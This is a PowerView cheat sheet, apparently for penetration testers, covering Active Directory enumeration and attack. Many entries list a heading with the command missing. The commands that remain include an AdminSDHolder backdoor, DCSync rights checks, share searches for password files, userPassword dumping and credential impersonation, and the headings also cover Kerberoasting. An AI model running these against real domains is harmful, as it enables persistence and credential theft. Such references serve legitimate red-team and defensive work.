Powerview
PowerView Overview
PowerView is a PowerShell tool part of the PowerSploit framework that provides advanced Active Directory enumeration and exploitation capabilities. It allows attackers and penetration testers to gather detailed information about an Active Directory environment using PowerShell.
Basic Usage
Loading and Help
Load PowerView into the current session:
Show detailed help for a function:
Build an alternate credential object for any PowerView function:
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a',$SecPassword)
Test using alternate creds with a domain query:
Domain Enumeration
Domain Information
Query info about the current domain:
Query info about a specified (child) domain:
List domain controllers for the current domain:
Get forest-level information:
List all domains in the forest:
List forest trusts:
List domain trusts (like nltest /trusted_domains):
Recursively map reachable domain trusts:
Enumerate AD sites:
Enumerate AD subnets:
List global catalog servers in the forest:
Policy Information
Read Kerberos policy from domain policy:
Read password/lockout policy (SystemAccess) from domain policy:
User Enumeration
Enumerate users with useful props (UPN, enabled, last logon):
Users with passwords not changed in >1 year:
$Date=(Get-Date).AddYears(-1).ToFileTime(); Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset
All enabled users (DNs):
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname
Enabled users via UAC helper:
All disabled users (LDAP filter):
All disabled users (UAC helper):
Users requiring smart card auth (LDAP filter):
Users requiring smart card (UAC helper):
Users NOT requiring smart card (list samaccountname only):
Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname
Service accounts (users with SPNs):
AS-REP roastable users (no Kerberos preauth):
AS-REP roastable via UAC helper:
Mix identity types (SID, DN, GUID, name) for user lookup:
'S-1-5-21-890171859-3433809279-3366196753-1114','CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
Users with sidHistory populated:
Service accounts that are (or were) in Domain Admins:
Group Enumeration
List groups with "admin" in the name:
List protected (AdminSDHolder) groups:
List groups that don't have a global scope:
List all groups a user/group effectively belongs to (tokenGroups):
Same as above with a DN identity:
Recursively enumerate group members of Domain Admins:
Foreign Entity Enumeration
Find users from foreign domains present in this domain:
Find groups in target domain that have foreign members:
List foreignSecurityPrincipals from the GC (for SID/DN correlation):
Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://corp.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)'
Computer Enumeration
Inventory computers with helpful props:
Filter by OS for servers:
Computers allowing unconstrained delegation:
Computers trusted to authenticate for others (constrained delegation):
Computers with specific SPNs (e.g., SQL):
List computers from a specific OU:
Session and Local Group Enumeration
Enumerate SMB sessions on a remote host:
Enumerate logged-on users on a host:
Enumerate current RDP sessions (and source IPs):
List local groups on a host:
List members of a local group (default WinNT provider):
Faster local group member enumeration via Win32 API:
Enumerate shares on a host:
User Hunting
Show all user locations across domain (be noisy):
Focus on unconstrained delegation computers and show users:
Hunt for admin users who allow delegation on unconstrained hosts:
Hunt specific user and check if you have local admin where found:
Get logged-on users for all "server" OUs in a domain:
Get-DomainOU -Identity *server* -Domain corp.local | % { Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | % { Get-NetLoggedOn -ComputerName $_.dnshostname } }
Share and File Enumeration
Enumerate open shares domain-wide:
Enumerate only shares you can read:
Search domain shares for interesting files (old Invoke-FileFinder):
Same, with alternate credentials:
$Password="PASSWORD"|ConvertTo-SecureString -AsPlainText -Force; $Credential=New-Object System.Management.Automation.PSCredential("CORP\user",$Password); Find-InterestingDomainShareFile -Domain CORP -Credential $Credential
Recursively search a specific UNC path for keywords, Office docs, and last-access time:
Find-InterestingFile -Path \\SERVER\Share -Include password,creds,secret -OfficeDocs -LastAccessTime (Get-Date).AddDays(-7)
GPO Enumeration
List all GPOs in the domain:
List OUs and their GPO links:
List policies applied to a specific computer:
Map where a user/group has local group rights via GPO (old Find-GPOLocation):
Check RDP group mapping for a user in a domain:
Export a CSV of GPO mappings with flattened computer arrays:
Get-DomainGPOUserLocalGroupMapping | % { $_.computers = ($_.computers -join ", "); $_ } | Export-Csv -NoTypeInformation gpo_map.csv
Delegation Enumeration
Users with constrained delegation configured:
Computers with constrained delegation configured:
Admin-protected users who are allowed to be delegated (interesting):
ACL Enumeration and Modification
Enumerate who has rights over a target object (resolve GUIDs):
Grant "will" the right to reset "matt"'s password:
Read AdminSDHolder permissions (resolve GUIDs):
Backdoor AdminSDHolder to grant "matt" full rights to protected objects:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Identify principals with replication (DCSync) or full control (domain DN path):
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') }
Alternative DCSync check using Get-ObjectACL alias/function:
Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') }
Group Policy Preferences Enumeration
Recover any stored Group Policy Preferences passwords (legacy):
Resolve all computer DNS hostnames where a given GPP/GPO applies by GUID:
Get-DomainOU -GPLink '<GPP_GUID>' | % { Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname }
ACL Analysis
Find interesting domain ACLs (write/owner/DACL rights) and resolve GUIDs:
Flag GPOs where "user" SIDs (>1000) have modification/control rights:
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner') }
Organizational Unit and DNS Enumeration
List organizational units:
Find likely file servers based on user home/profile/script paths:
Enumerate DNS records for a zone (if DNS partition accessible):
User Impersonation
Temporarily impersonate a different credential (runas /netonly-like):
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a',$SecPassword); Invoke-UserImpersonation -Credential $Cred
Revert impersonation back to self:
Object Analysis and Modification
Detect outlier properties across computer objects:
Set arbitrary attributes on an AD object:
Take or set ownership of an AD object:
Kerberoasting and AS-REP Roasting
Kerberoast using defaults (prints TGS hashes):
Kerberoast a specific account, Hashcat format:
Kerberoast scoped to a specific OU/SearchBase:
List AS-REP roastable users (no preauth):
Request AS-REP roast for a specific user:
Local Admin Access Testing
Threaded probe to find where you're local admin (SMB/RPC):
Test admin access to a single host:
Data Export and Import
Export objects to XML for offline analysis:
Re-import exported PowerView objects:
Special Queries
Dump userPassword attribute (if present) and render ASCII:
$FormatEnumerationLimit=-1; Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % { Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru } | fl
Count total domain users quickly:
Find non-empty user description fields:
Process Enumeration
PowerView 3.x has no Get-NetProcess; use native remoting/WMI/CIM:
Get processes on a remote host via WinRM (PowerShell remoting):
Query processes via CIM (WSMan) on a remote host:
Query processes via legacy WMI (DCOM) on a remote host: